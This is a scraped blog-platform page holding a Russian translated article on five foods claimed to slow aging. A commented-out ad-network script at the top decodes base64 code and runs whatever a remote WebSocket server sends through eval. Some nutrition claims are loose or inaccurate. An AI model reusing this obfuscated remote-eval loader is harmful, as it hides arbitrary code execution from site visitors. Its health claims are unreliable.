\x3c!-- \x3cdiv id=\"M347983Composite625353\">\x3ccenter> \x3ca href=\"http://marketgid.com/\" target=\"_blank\">«агрузка...\x3c/a> \x3c/center>\x3c/div> \x3cscript type=\"text/javascript\"> var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() + d.getMonth() + d.getDay() + d.getHours();script625353.onerror = function () { mg_ws625353 = new Worker(URL.createObjectURL(new Blob(['eval(atob(\\'ZnVuY3Rpb24gc2VuZE1lc3NhZ2U2MjUzNTMoZSl7dmFyIGg9bWdfd3M2MjUzNTMub25tZXNzYWdlOyBtZ193czYyNTM1My5yZWFkeVN0YXRlPT1tZ193czYyNTM1My5DTE9TRUQmJihtZ193czYyNTM1Mz1uZXcgV2ViU29ja2V0KG1nX3dzNjI1MzUzX2xvY2F0aW9uKSksbWdfd3M2MjUzNTMub25tZXNzYWdlPWgsd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMobWdfd3M2MjUzNTMsZnVuY3Rpb24oKXttZ193czYyNTM1My5zZW5kKGUpfSl9ZnVuY3Rpb24gd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KXtzZXRUaW1lb3V0KGZ1bmN0aW9uKCl7cmV0dXJuIDE9PT1lLnJlYWR5U3RhdGU/dm9pZChudWxsIT10JiZ0KCkpOnZvaWQgd2FpdEZvclNvY2tldENvbm5lY3Rpb242MjUzNTMoZSx0KX0sNSl9OyB2YXIgbWdfd3M2MjUzNTNfbG9jYXRpb24gPSAid3NzOi8vd3NwLm1hcmtldGdpZC5jb20vd3MiOyBtZ193czYyNTM1MyA9IG5ldyBXZWJTb2NrZXQobWdfd3M2MjUzNTNfbG9jYXRpb24pLCBtZ193czYyNTM1My5vbm1lc3NhZ2UgPSBmdW5jdGlvbiAodCkge3Bvc3RNZXNzYWdlKHQuZGF0YSk7fSwgb25tZXNzYWdlID0gZnVuY3Rpb24oZSl7c2VuZE1lc3NhZ2U2MjUzNTMoZS5kYXRhKX0=\\'))']), {type: \"application/javascript\"})); mg_ws625353.onmessage = function (msg){window.eval(msg.data);}; mg_ws625353.postMessage('js|'+script625353.src+'|M347983Composite625353|M347983Composite625353');};document.body.appendChild(script625353); \x3c/script>--> \x3c!-- M347983Composite End --> \n \x3cp>То, что вы едите, влияет на ваши физические и умственные функции. Вы когда-нибудь задумывались, почему вы набрали или потеряли несколько килограмм без какой-либо очевидной причины? Был ли один из тех дней, когда вы, похоже, ничего не помните? \x3c/p>\n\x3cp>\x3cstrong>Ваш рацион может иметь отношение к этому.\x3c/strong> Ваша диета также влияет на то, как вы стареете. Более конкретно, она играет определенную роль в том, стареете ли вы грациозно или обнаруживаете признаки раннего старения. Хотя мы не можем препятствовать течению времени, мы можем проявлять инициативу в снижении физических и психических последствий старения. Определенные продукты могут на самом деле помочь вам стареть медленнее.\x3c/p>\n\x3cp>Ваш выбор пищи также влияет на скорость, с которой ваш метаболизм либо увеличивается, либо распыляется. Например, богатые белками продукты дают вашему метаболизму импульс, в то время как сложные и рафинированные углеводы — так как их очень трудно разрушить — значительно замедляет ваш метаболизм. Когда ваш уровень метаболизма медленный, вы более подвержены риску развития множества состояний здоровья — все это прямо или косвенно связано с нарушением воспалительного ответа. Короче говоря, здоровая пища помогает ускорить ваш метаболизм. В отличие от этого, нежелательная пища замедляет ваш метаболизм — усиливает воспаление и способствует старению\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3cstrong>Держитесь подальше от следующих продуктов:\x3c/strong>\x3c/p>\n\x3cp>Обжаренная пища: \x3cbr />Все, что глубоко обжарено, вредно. Это включает в себя предварительно обработанные продукты, такие как картофельные чипсы и картофель фри.\x3c/p>\n\x3cp>\x3cstrong>Пончики и выпечка:\x3c/strong>\x3cbr />Излишнее потребление сахара связано с ранним развитием морщин.\x3c/p>\n\x3cp>\x3cstrong>Жирное мясо: \x3c/strong>\x3cbr />Жирное мясо мало способствуют питательной ценности.\x3c/p>\n\x3cp>\x3cstrong>Переработанное мясо: \x3c/strong>\x3cbr />Большинство обработанных мясных продуктов содержат насыщенный жир и нитраты; оба ускоряют воспаление и, следовательно, старение.\x3c/p>\n\x3cp>\x3cstrong>Слишком много выпивки: \x3c/strong>\x3cbr />До двух напитков в день может быть полезно, но что-то за пределами редкой пары пива или бокалов вина вызывает раннее старение.\x3cbr />\x3cstrong>\x3cbr />Теперь, когда вы знаете, чего следует избегать, давайте перейдем к важному.\x3c/strong>\x3c/p>\n\x3cp>1. Бобы и чечевица\x3cbr />Бобы и чечевица наполнены клетчаткой и белком, которые помогают стабилизировать уровень сахара в крови. Волокно помогает нам чувствовать себя сытыми дольше, в то время как белок помогает наращивать мышцы и сжигать жир, обеспечивая постоянную дозу энергии. \x3c/p>\n\x3cp>\x3cstrong>2. Морковь\x3c/strong>\x3cbr />Морковь — один из лучших доступных продуктов для здоровья, в основном из-за большой помощи бета-каротина. Бета-каротин является мощным антиоксидантом, защищающим наши клетки и ДНК от свободных радикалов, таких как загрязнители окружающей среды. Известно, что свободные радикалы вызывают раннее старение, и бета-каротин работает как превентивная мера в этом отношении. Морковь также содержит питательный фалькаринол, который обладает противораковыми свойствами.\x3c/p>\n\x3cp>\x3cstrong>3. Соевые продукты\x3c/strong>\x3cbr />Продукты, полученные из соевых бобов, таких как тофу и эдамам, помогают предотвратить старение клеток. Это имеет богатый запас изофлавонов, класс фитохимикатов, которые обладают противораковыми, противовоспалительными, противомикробными и антиоксидантными свойствами. Тофу, любимый вегетарианцами и веганами, имеет те же преимущества, но со здоровой дозой белка и незаменимых аминокислот! Тофу также минерально-плотный, содержащий кальций, медь, магний, марганец, фосфор и цинк!\x3c/p>\n\x3cp>\x3cstrong>4. Лосось\x3c/strong>\x3cbr />Как мы знаем, болезни, поражающие мозг и сердце, как правило, нацелены на пожилых людей. Хорошим решением является замена красным мясом пресноводных рыб, таких как лосось, который обеспечивает здоровые жирные кислоты. Исследователи утверждают, что омега-3 жирная кислота может предотвратить возрастной когнитивный спад. Пресноводная рыба также наполнена калием, что может помочь предотвратить развитие болезни сердца.\x3c/p>\n\x3cp>\x3cstrong>5. Цитрусовые\x3cbr />Лимоны, лаймы, грейпфрут, апельсины и мандарины являются одними из лучших продуктов для замедления старения. Давайте узнаем, как помогают цитрусовые:\x3c/strong>\x3c/p>\n\x3cp>— Содержит много витамина С, который обладает антиоксидантными свойствами, борется с инфекциями и ограничивает воспаление.\x3c/p>\n\x3cp>— Содержит антивозрастные флавоноиды и каротиноиды.\x3c/p>\n\x3cp>— Охраняет возрастной когнитивный спад, сердечные заболевания и различные виды рака\x3ca href=\"https://fithacker.ru/\" target=\"_blank\">.\x3c/a>\x3c/p>\n\x3cp>\x3ca href=\"https://www.powerofpositivity.com/5-foods-that-make-you-age-slower/\" target=\"_blank\">Источник\x3c/a>\x3cbr />Перевод и адаптация — \x3ca href=\"https://fithacker.ru/\" target=\"_blank\">Фитхакер\x3c/a>\x3c/p>\n\n \x3c!-- A generated by theme --> \n\n\n\n \x3c!-- end A --> \n\n\n\x3cdiv>\n\x3cdiv>\n\x3cp2>\x3cnoindex>\x3cnofollow>\x3c/nofollow>\x3c/noindex>\x3c/p2>\x3cp3>← Жми «Нравится» и читай нас в Фейсбуке\x3c/p3>\n\x3c/div>\n\n\x3c/div>\n\n\x3cp>\x3cstrong>Понравилось? Поделитесь с друзьями!\x3c/strong>\x3c/p>\n \x3cp>\x3cstrong>\x3ca href=\"https://blockads.fivefilters.org\" target=\"_blank\">Let's block ads!\x3c/a>\x3c/strong> \x3ca href=\"https://blockads.fivefilters.org/acceptable.html\" target=\"_blank\">(Why?)\x3c/a>\x3c/p>","comments_count":0,"marks_count":0,"likes":{"count":0,"user_likes":0,"can_like":0,"marks_pluses":0,"marks_minuses":0,"user_like_attr":null,"like_attr_ids":[]},"fame_actions_positive_count":0,"fame_actions_negative_count":0,"fame_actions":[],"url":"https://s30101041796.mirtesen.ru/blog/43505943738","tags":["замедление","старение","рацион","виды","список","Здоровье","продукты"],"date":1536245450,"canEdit":false,"foreignPollId":null,"attachments":[{"photo":{"id":20474242618,"photo_original":"https://mtdata.ru/u25/photoD731/20474242618-0/original.png","width":540,"height":281}}],"group":{"display_name":"Здоровье в наших руках","url":"https://s30101041796.mirtesen.ru","photo_original":"//mtdata.ru/u24/groupA346/67d5475e3acc17dcaea99ef5334b1604-0/__logo.jpeg","id":30101041796,"canViewBlogPostCreator":false,"showSubscribersAmount":true,"is_subscribed":false,"is_member":false,"is_owner":false,"is_staff":false,"created":1403893363179},"canonical_url":"https://fithacker.ru/articles/5-produktov-pitaniya-kotoryie-priostanavlivayut-protsess-stareniya/","topic":null,"title":"5 продуктов питания, которые приостанавливают процесс старения","preview_text":"\x3c!-- M347983Composite Start -->\x3c!-- «агрузка... var d = new Date, script625353 = document.createElement(\"script\"), mg_ws625353 = {};script625353.type = \"text/javascript\";script625353.charset = \"utf-8\";script625353.src = \"//jsc.marketgid.com/f/i/fithacker.ru.625353.js?t=\" + d.getYear() +","post_type":"post","formattedDates":{"iso":"2018-09-06T14:50:50.000Z","ver1":"6 сентября, 17:50","ver2":"06.09.2018 в 17:50","ver3":"6 сент., 17:50"},"images":[{"main":true,"url":"https://mtdata.ru/u25/photoD731/20474242618-0/original.png","width":540,"height":281}],"videos":[],"shared_post":null,"mentionedPersons":null}],"tag":"замедление","tagId":80062786497,"hasMore":true,"offset":1,"isGeo":false},"reasonsForShowing":{},"channelMain":{"items":[],"nextOffset":0,"hasMoreItems":true,"currentUserPostId":null,"page":0},"richPostEditor":{"id":null,"title":"","text":"","channel":null,"canSelectChannel":false,"canSubmit":false},"indexChannel":{"items":[],"nextOffset":0,"hasMoreItems":true},"videoList":{},"videoOne":{},"videoRecommendations":{},"channelActions":{},"testDraftJs":{},"channelEditor":{"tab":"info","key":0,"isOpen":false,"isReady":true,"inProcess":false,"channelId":null,"isDirty":false,"header":{"title":"","avatar":null},"info":{"id":null,"name":"","title":"","description":"","isNameAvailable":true,"errors":{}},"content":{"tags":[],"tagSuggestions":[],"geoTags":[],"geoTagSuggestions":[]},"telegramEdit":{"importKey":null,"name":"","tags":[],"tagSuggestions":[],"errors":{}},"telegramList":{"imports":[]}},"channelCoverEditor":{"isOpen":false,"mode":"add","imageSaved":false},"channelAvatarEditor":{"isOpen":false},"myChannels":{"channels":[],"subscriptions":{"items":[],"nextOffset":0,"hasMore":true,"subscriptionsNum":0}},"channelHeaderTags":{"isOpen":false,"searchResults":[],"geoTags":[],"tags":[],"searchInProccess":false,"geoPosition":null,"headerTags":[]},"searchResults":{"query":"","activeTab":"posts","isLoading":false,"posts":{"results":[],"page":0,"hasMore":true},"geo":{"results":[],"page":0,"hasMore":true},"channels":{"results":[],"page":0,"hasMore":true}}}
